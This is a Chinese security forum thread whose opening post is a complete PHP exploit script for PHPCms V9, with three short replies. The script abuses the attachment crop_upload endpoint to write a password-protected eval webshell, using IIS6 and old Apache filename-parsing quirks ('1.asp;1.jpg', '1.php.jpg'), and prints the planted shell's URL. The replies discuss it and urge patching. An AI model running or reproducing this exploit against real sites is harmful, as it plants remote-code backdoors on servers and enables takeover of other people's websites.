查看: 18064|回复: 3

phpcms V9 getshell exp

[复制链接]
发表于 2012-9-29 23:51:21 | 显示全部楼层 |阅读模式
  1. #!usr/bin/php -w

  2. <?php

  3. error_reporting(E_ERROR);

  4. set_time_limit(0);

  5. $pass="fuck";

  6. print_r('

  7. +---------------------------------------------------------------------------+

  8. PHPCms V9 GETSHELL 0DAY
  9. c0de by testr00ttest

  10. 针对iis6.0的漏洞 有点鸡肋 但是也可以用

  11. apache 是老版本可能会产生问题

  12. +---------------------------------------------------------------------------+

  13. ');

  14. echo '密码为'.$pass;

  15. if ($argc < 2) {

  16. print_r('

  17. +---------------------------------------------------------------------------+

  18. Usage: php '.$argv[0].' url [js]
  19. js 类型配置  1为asp 2为php  3为apache 的版本

  20. Example:

  21. php '.$argv[0].' localhost 1
  22. +---------------------------------------------------------------------------+

  23. ');

  24. exit;

  25. }

  26. $url=$argv[1];

  27. $js=$argv[2];//写入脚本类型


  28. $phpshell='<?php @eval($_POST[\''.$pass.'\']);?>';

  29. $aspshell='<%eval request("'.$pass.'")%>';


  30. if($js==1){

  31.         $file="1.asp;1.jpg";

  32.          $ret=GetShell($url,$aspshell,$file);

  33.         

  34. }else if($js==2){

  35.         $file="1.php;1.jpg";

  36.         $ret=GetShell($url,$phpshell,$file);

  37. }else if($js==3){

  38.         $file="1.php.jpg";

  39.         $ret=GetShell($url,$phpshell,$file);

  40. }else{

  41.         print_r('没有选择脚本类型');

  42. }

  43. $pattern = "|http:\/\/[^,]+?\.jpg,?|U";

  44. preg_match_all($pattern, $ret, $matches);

  45. if($matches[0][0]){

  46.         echo "\r\nurl地址:".$matches[0][0];

  47. }else{

  48.         echo "\r\n没得到!";        

  49. }


  50. function GetShell($url,$shell,$js){

  51.         $content =$shell;

  52.         $data = "POST /index.php?m=attachment&c=attachments&a=crop_upload&width=1&height=1&file=http://".$url."/uploadfile/".$js." HTTP/1.1\r\n";
  53.         $data .= "Host: ".$url."\r\n";

  54.         $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";

  55.         $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";

  56.         $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";

  57.         $data .= "Connection: close\r\n";

  58.         $data .= "Content-Length: ".strlen($content)."\r\n\r\n";

  59.         $data .= $content."\r\n";

  60.         //echo $data;

  61.         $ock=fsockopen($url,80);

  62.         if (!$ock) {

  63.         echo "  No response from ".$url."\n";

  64.         }

  65.         fwrite($ock,$data);

  66.         $resp = '';

  67.         while (!feof($ock)) {

  68.                 $resp.=fread($ock, 1024);

  69.         }

  70.         return $resp;

  71. }



  72. ?>
复制代码
转载与http://team.f4ck.net
回复

使用道具 举报

发表于 2026-5-21 19:20:00 | 显示全部楼层

Re: phpcms V9 getshell exp

这个漏洞利用代码看起来是针对PHPCms V9的,通过附件裁剪功能配合IIS6.0或旧版Apache的解析特性来上传WebShell。代码中密码硬编码为“fuck”,URL参数支持三种脚本类型(asp/php/apache)。提醒一下,这类0day/exp仅供安全研究和漏洞修复参考,请勿擅自用于未授权测试或非法操作。如果你是站长,建议尽快检查相关版本并打补丁或升级。
回复 支持 反对

使用道具 举报

发表于 7 天前 | 显示全部楼层

Re: phpcms V9 getshell exp

这个漏洞利用代码看起来挺完整的,不过我有点好奇,针对IIS 6.0的解析漏洞利用,是不是需要服务器也开启了对.asp;.jpg这类文件名的支持?另外,不同PHP版本下这个exp的兼容性怎么样,你测试过吗?安全起见,建议大家在测试环境里跑跑,别直接对着生产站搞啊。
回复 支持 反对

使用道具 举报

发表于 7 天前 | 显示全部楼层

Re: phpcms V9 getshell exp

感谢楼主的分享,这个exp很详细,测试的时候要注意IIS6.0解析漏洞,确实有点鸡肋但很实用。另外建议站长们尽快升级或做好文件上传验证。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-6-23 14:27 , Processed in 0.036205 second(s), 20 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部